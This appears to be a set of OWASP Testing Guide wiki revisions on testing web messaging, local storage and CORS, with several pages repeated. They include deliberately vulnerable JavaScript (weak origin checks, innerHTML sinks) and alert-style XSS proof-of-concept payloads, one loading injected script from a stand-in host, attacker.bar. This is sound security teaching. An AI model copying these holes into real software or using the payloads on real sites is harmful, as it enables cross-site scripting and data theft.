* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Test Web Messaging (OTG-CLIENT-011)

2013-12-15T19:09:54Z

Jgaliana: minor addition

Test Web Messaging (OTG-CLIENT-011)

2013-12-15T19:07:05Z

Jgaliana: minor changes

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Web Messaging also known as Cross Document Mesaging allow applications running on different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy and enforced by the browser, however developers used multiple hacks in order to accomplish these tasks, most of them were mainly insecure.

This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced within he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.

The Messaging API introduced the <pre>postMessage()</pre> method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain.
 
There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:
 
data: The content of the incoming message 
origin: The origin of the sender document 
source: source window 

Let's see an example:
<pre>
Send message:

iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);

Receive message:

window.addEventListener(“message”, handler, true);
function handler(event) {
if(event.origin === 'chat.example.com') {
/* process message (event.data) */
} else {
/* ignore messages from untrusted domains */
}
}
</pre>

== Description of the Issue ==

=== Origin Security Concept ===
The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish this is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or if the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.

In the case the website failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risk so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message event listeners, and get the callback function from the <pre>addEventListener</pre> method to further analysis as domains must be always be verified prior data manipulation.

=== event.data Input Validation ===

Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via <pre>eval()</pre> or inserted into the DOM via the <pre>innerHTML</pre> property as that would create a DOM-based XSS vulnerability.

== Black Box testing and example ==
Blackbox testing for vulnerabilities on Web Messaging is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. 

== Gray Box testing and example ==

Vulnerable code example:

<pre>
In this example, access is needed for every subdomain (www, chat, forums, ...) within the owasp.org domain. The code is trying to accept any domain ending on .owasp.org:

window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin.indexOf(".owasp.org")!=-1) {
/* process message (e.data) */
}
}
</pre>

The intention is to allow subdomains in this form:

<pre>
www.owasp.org
chat.owasp.org
forums.owasp.org
...
</pre>

Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match

Example of lack of origin check, very insecure as will accept input from any domain:

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
/* process message (e.data) */
}
</pre>

Input validation example: Lack of security controls lead to Cross-Site Scripting (XSS)

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin === "trusted.domain.com") {
element.innerHTML= e.data;
}
}
</pre>

This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being treated properly, a more secure approach would be to use the property textContent instead of innetHTML.

== References ==
'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers'''
*'''Web Messaging Specification''': http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html

'''Tools'''
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Test Web Messaging (OTG-CLIENT-011)

2013-12-15T18:53:09Z

Jgaliana: added ZAP Proxy

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Web Messaging also known as Cross Document Mesaging allow applications running in different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy enforced by the browser, however developers used multiple hacks in order to accomplish this tasks that were mainly insecure.

This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced withint he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.

The Messaging API introduced the <pre>postMessage()</pre> method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain. There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:

data: The content of the incoming message
origin: The origin of the sender document.
source: source window

Let's see an example:
<pre>
Send message:

iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);

Receive message:

window.addEventListener(“message”, handler, true);
function handler(event) {
if(event.origin === 'chat.example.com') {
/* process message (event.data) */
} else {
/* ignore messages from untrusted domains */
}
}
</pre>

== Description of the Issue ==

=== Origin Security Concept ===
The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish that is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.

In the case a developer failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risks so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message listeners, and get the callback function from the <pre>addEventListener</pre> method to further analysis as domains must be always verified prior data manipulation.

=== event.data Input Validation ===

Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via <pre>eval()</pre> or inserted into the DOM via the <pre>innerHTML</pre> property as that would create a DOM-based XSS vulnerability.

== Black Box testing and example ==
Blackbox testing for vulnerabilities on Web Messaging is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. 

== Gray Box testing and example ==

Vulnerable code example:

<pre>
Access needed for every subdomain (www, chat, forums, ...)

window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin.indexOf(".owasp.org")!=-1) {
/* process message (e.data) */
}
}
</pre>

The intention is to allow subdomains in this form:

<pre>
www.owasp.org
chat.owasp.org
forums.owasp.org
...
</pre>

Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match

Example of lack of origin check, very insecure as will accept input from any domain:

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
/* process message (e.data) */
}
</pre>

Input validation example: XSS

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin === "trusted.domain.com") {
element.innerHTML= e.data;
}
}
</pre>

This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being trated properly, a more secure approach would be to use the property textContent instead of innetHTML.

== References ==
'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers'''
*'''Web Messaging Specification''': http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html

'''Tools'''
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Test Local Storage (OTG-CLIENT-012)

2013-12-15T18:52:54Z

Jgaliana: added ZAP Proxy

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Local Storage also known as Web Storage or Offline Storage is a mechanism to store data as key/value pairs tied to a domain and enforced by the same origin policy (SOP).
There are two objects, localStorage that is persistent and is intented to survive browser/system reboots and sessionStorage that is temporary and will only exists until the window or tab is closed. On average browsers allow to store in this storage around 5MB per domain, that compared to the 4KB of cookies is a big difference, but the key difference from the security perspective is that the data stored in these two objects is kept in the client and never sent to the server, this also improves network performance as data do not need to travel over the wire back and forth.

== Description of the Issue ==
=== localStorage ===

Access to the storage is normally done using the setItem and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able to extract all the data from the storage.
Also malicious data can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data.
Check if there are more than one application in the same domain like example.foo/app1 and example.foo/app2 because those will share the same storage.

Data stored in this object will persist after the window is closed, it is a bad idea to store sensitive data or session identifiers on this object as these can be accesed via JavaScript. Session IDs stored in cookies can mitigate this risk using the httpOnly flag.

=== sessionStorage ===

Main difference with localStorage is that the data stored in this object is only accesible until the tab/window is closed which is a perfect candidate for data that doesn't need to persist between sessions.
It shares most of the properties and the getItem/setItem methods, so manual testing needs to be undertaken to look for these methods and identify in which parts of the code the storage is accesed.

== Black Box testing and example ==
Blackbox testing for issues within the Local Storage code is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. 

== Gray Box testing and example ==

First of all, we need to check whether the Local Storage is used.

'''Example 1: Access to localStorage:''' 
 
Access to every element in localStorage with JavaScript: 

<pre>
for(var i=0; i<localStorage.length; i++) {
console.log(localStorage.key(i), " = ", localStorage.getItem(localStorage.key(i)));
}
</pre>

same code can be applied to sessionStorage

Using Google Chrome, click on menu -> Tools -> Developer Tools. Then under Resources you will see 'Local Storage' and 'Web Storage'

[[File:storage-chrome.png]]

Using Firefox and the addon Firebug you can easily inspect the localStorage/sessionStorage object in the DOM tab

[[File:storage-firefox.png]]

Also, we can inspect these objects from the developer tools of our browser.

Then, manual testing needs to be conducted in order to determine whether the website is storing sensitive data in the Storage, which respresent a risk and will increase dramatically the impact of a information leak. Also check the code handling the Storage to determine if it is vulnerable to injection attacks, common issue when the code does not escape the input or output. The JavaScript code has to be analyzed to evaluate these issues, so make sure you crawl the application to discover every instance of JavaScript code and note sometimes applications use third-party libraries that would need to be examined too. 
 
Here is an example of how improper use of user input and lack of validation can lead to XSS attacks.

'''Example 2: XSS in localStorage:''' 
 
Insecure assignment from localStorage can lead to XSS 

<pre>
function action(){

var resource = location.hash.substring(1);

localStorage.setItem("item",resource);

item = localStorage.getItem("item");
document.getElementById("div1").innerHTML=item;
}
</script>

<body onload="action()">
<div id="div1"></div>
</body>
</pre>

URL PoC:

http://server/StoragePOC.html#<img src=x onerror=alert(1)>

[[File:Storage-xss.png]]

== References ==

'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers'''
*'''Web Storage Specification''': http://www.w3.org/TR/webstorage/

'''Tools'''
* '''Firebug''' - http://getfirebug.com/
* '''Google Chrome Developer Tools''' - https://developers.google.com/chrome-developer-tools/
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Test Local Storage (OTG-CLIENT-012)

2013-12-15T18:50:44Z

Jgaliana: minor formating change in references section

Test Local Storage (OTG-CLIENT-012)

2013-12-15T18:50:03Z

Jgaliana: minor additions/changes

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Local Storage also known as Web Storage or Offline Storage is a mechanism to store data as key/value pairs tied to a domain and enforced by the same origin policy (SOP).
There are two objects, localStorage that is persistent and is intented to survive browser/system reboots and sessionStorage that is temporary and will only exists until the window or tab is closed. On average browsers allow to store in this storage around 5MB per domain, that compared to the 4KB of cookies is a big difference, but the key difference from the security perspective is that the data stored in these two objects is kept in the client and never sent to the server, this also improves network performance as data do not need to travel over the wire back and forth.

== Description of the Issue ==
=== localStorage ===

Access to the storage is normally done using the setItem and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able to extract all the data from the storage.
Also malicious data can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data.
Check if there are more than one application in the same domain like example.foo/app1 and example.foo/app2 because those will share the same storage.

Data stored in this object will persist after the window is closed, it is a bad idea to store sensitive data or session identifiers on this object as these can be accesed via JavaScript. Session IDs stored in cookies can mitigate this risk using the httpOnly flag.

=== sessionStorage ===

Main difference with localStorage is that the data stored in this object is only accesible until the tab/window is closed which is a perfect candidate for data that doesn't need to persist between sessions.
It shares most of the properties and the getItem/setItem methods, so manual testing needs to be undertaken to look for these methods and identify in which parts of the code the storage is accesed.

== Black Box testing and example ==
Blackbox testing for issues within the Local Storage code is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. 

== Gray Box testing and example ==

First of all, we need to check whether the Local Storage is used.

'''Example 1: Access to localStorage:''' 
 
Access to every element in localStorage with JavaScript: 

<pre>
for(var i=0; i<localStorage.length; i++) {
console.log(localStorage.key(i), " = ", localStorage.getItem(localStorage.key(i)));
}
</pre>

same code can be applied to sessionStorage

Using Google Chrome, click on menu -> Tools -> Developer Tools. Then under Resources you will see 'Local Storage' and 'Web Storage'

[[File:storage-chrome.png]]

Using Firefox and the addon Firebug you can easily inspect the localStorage/sessionStorage object in the DOM tab

[[File:storage-firefox.png]]

Also, we can inspect these objects from the developer tools of our browser.

Then, manual testing needs to be conducted in order to determine whether the website is storing sensitive data in the Storage, which respresent a risk and will increase dramatically the impact of a information leak. Also check the code handling the Storage to determine if it is vulnerable to injection attacks, common issue when the code does not escape the input or output. The JavaScript code has to be analyzed to evaluate these issues, so make sure you crawl the application to discover every instance of JavaScript code and note sometimes applications use third-party libraries that would need to be examined too. 
 
Here is an example of how improper use of user input and lack of validation can lead to XSS attacks.

'''Example 2: XSS in localStorage:''' 
 
Insecure assignment from localStorage can lead to XSS 

<pre>
function action(){

var resource = location.hash.substring(1);

localStorage.setItem("item",resource);

item = localStorage.getItem("item");
document.getElementById("div1").innerHTML=item;
}
</script>

<body onload="action()">
<div id="div1"></div>
</body>
</pre>

URL PoC:

http://server/StoragePOC.html#<img src=x onerror=alert(1)>

[[File:Storage-xss.png]]

== References ==

'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers'''
*'''Web Storage Specification''': http://www.w3.org/TR/webstorage/

Tools
* '''Firebug''' - http://getfirebug.com/
* '''Google Chrome Developer Tools''' - https://developers.google.com/chrome-developer-tools/

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2013-12-15T18:08:23Z

Jgaliana: rewrote few paragraphs

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform "cross-domain" requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy.

Cross-Origin requests have an Origin header, that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish this goal, there are a few HTTP headers involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.

The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.

== Description of the Issue ==

=== Origin & Access-Control-Allow-Origin ===

The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.

From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.

=== Access-Control-Request-Method & Access-Control-Allow-Method ===

The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.

=== Access-Control-Request-Headers & Access-Control-Allow-Headers ===

These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.

=== Access-Control-Allow-Credentials ===

This header as part of a preflight request indicates that the final request can include user credentials.

=== Input validation ===

XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.
This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could lead to code injection.

Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.

=== Other headers ===

There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.

== Black Box testing and example ==
Blackbox testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. 

== Gray Box testing and example ==
'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' 
 
Request (note the 'Origin' header:) 

<pre>
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/CORSexample1.html
Origin: http://example.foo
Connection: keep-alive
</pre>

Response (note the 'Access-Control-Allow-Origin' header:) 

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:57:53 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Content-Length: 4
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: application/xml

[Response Body]
</pre>

'''Example 2: Input validation issue, XSS with CORS:'''

This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.

Vulnerable code:

<pre>
<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {
if(req.readyState==4 && req.status==200) {
document.getElementById("div1").innerHTML=req.responseText;
}
}

var resource = location.hash.substring(1);
req.open("GET",resource,true);
req.send();
</script>

<body>
<div id="div1"></div>
</body>
</pre>

For example, a request like this will show the contents of the profile.php file:

http://example.foo/main.php#profile.php

Request and response generated by this URL:

<pre>
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

[Response Body]
</pre>

Now, as there is no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:

http://example.foo/main.php#http://attacker.bar/file.php

Request and response generated by this URL:

<pre>
GET http://attacker.bar/file.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Origin: http://example.foo
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Length: 92
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Injected Content from attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">
</pre>
 
[[File:CORS-example.png]]
 
== References ==
'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers''' 
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/

'''Tools''' 
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2013-12-15T17:41:13Z

Jgaliana: typo

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform "cross-domain" requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.

Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.

The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.

== Description of the Issue ==

=== Origin & Access-Control-Allow-Origin ===

The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.

From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.

=== Access-Control-Request-Method & Access-Control-Allow-Method ===

The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.

=== Access-Control-Request-Headers & Access-Control-Allow-Headers ===

These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.

=== Access-Control-Allow-Credentials ===

This header as part of a preflight request indicates that the final request can include user credentials.

=== Input validation ===

XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.

Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.

=== Other headers ===

There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.

== Black Box testing and example ==
Blackbox testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. 

== Gray Box testing and example ==
'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' 
 
Request (note the 'Origin' header:) 

<pre>
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/CORSexample1.html
Origin: http://example.foo
Connection: keep-alive
</pre>

Response (note the 'Access-Control-Allow-Origin' header:) 

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:57:53 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Content-Length: 4
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: application/xml

[Response Body]
</pre>

'''Example 2: Input validation issue, XSS with CORS:'''

This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.

Vulnerable code:

<pre>
<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {
if(req.readyState==4 && req.status==200) {
document.getElementById("div1").innerHTML=req.responseText;
}
}

var resource = location.hash.substring(1);
req.open("GET",resource,true);
req.send();
</script>

<body>
<div id="div1"></div>
</body>
</pre>

For example, a request like this will show the contents of the profile.php file:

http://example.foo/main.php#profile.php

Request and response generated by this URL:

<pre>
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

[Response Body]
</pre>

Now, as there are no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:

http://example.foo/main.php#http://attacker.bar/file.php

Request and response generated by this URL:

<pre>
GET http://attacker.bar/file.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Origin: http://example.foo
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Length: 92
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Injected Content from attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">
</pre>
 
[[File:CORS-example.png]]
 
== References ==
'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers''' 
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/

'''Tools''' 
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Test Local Storage (OTG-CLIENT-012)

2013-12-15T17:39:25Z

Jgaliana: changed black box/gray box testing and example

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Local Storage also known as Web Storage or Offline Storage is a mechanism to store data as key/value pairs tied to a domain and enforced by the same origin policy (SOP).
There are two objects, localStorage that is persistent and sessionStorage that is temporary. On average browsers allow to store in this storage around 5MB per domain, that compared to the 4KB of cookies is a big difference, but the key difference from the security perspective is that the data store in these two objects is stored in the client and never sent to the server.

== Description of the Issue ==
=== localStorage ===

Access to the storage is normally done using the setItem and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able to extract all the data from the storage.
Also malicious data can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data.
